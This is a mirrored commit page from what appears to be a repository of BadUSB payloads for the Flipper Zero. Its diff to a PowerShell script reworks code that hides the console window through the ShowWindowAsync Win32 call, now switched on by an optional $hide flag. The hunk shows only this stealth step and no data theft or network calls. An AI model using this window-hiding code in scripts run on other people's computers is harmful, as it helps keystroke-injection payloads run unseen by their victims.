mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-12 15:50:08 -08:00
Update main.ps1
This commit is contained in:
@@ -19,17 +19,21 @@ $defs = Add-Type -MemberDefinition $defs -Name 'Win32' -Namespace API -PassThru
|
|||||||
$lastpress = [System.Diagnostics.Stopwatch]::StartNew()
|
$lastpress = [System.Diagnostics.Stopwatch]::StartNew()
|
||||||
$threshold = [TimeSpan]::FromSeconds(10)
|
$threshold = [TimeSpan]::FromSeconds(10)
|
||||||
|
|
||||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
|
||||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
# Uncomment $hide='y' below to hide the console
|
||||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
# $hide='y'
|
||||||
if($hwnd -ne [System.IntPtr]::Zero){
|
if($hide -eq 'y'){
|
||||||
$Type::ShowWindowAsync($hwnd, 0)
|
$w=(Get-Process -PID $pid).MainWindowHandle
|
||||||
|
$a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);'
|
||||||
|
$t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass
|
||||||
|
if($w -ne [System.IntPtr]::Zero){
|
||||||
|
$t::ShowWindowAsync($w,0)
|
||||||
|
}else{
|
||||||
|
$Host.UI.RawUI.WindowTitle = 'xx'
|
||||||
|
$p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'})
|
||||||
|
$w=$p.MainWindowHandle
|
||||||
|
$t::ShowWindowAsync($w,0)
|
||||||
}
|
}
|
||||||
else{
|
|
||||||
$Host.UI.RawUI.WindowTitle = 'xxx'
|
|
||||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'xxx' })
|
|
||||||
$hwnd = $Proc.MainWindowHandle
|
|
||||||
$Type::ShowWindowAsync($hwnd, 0)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user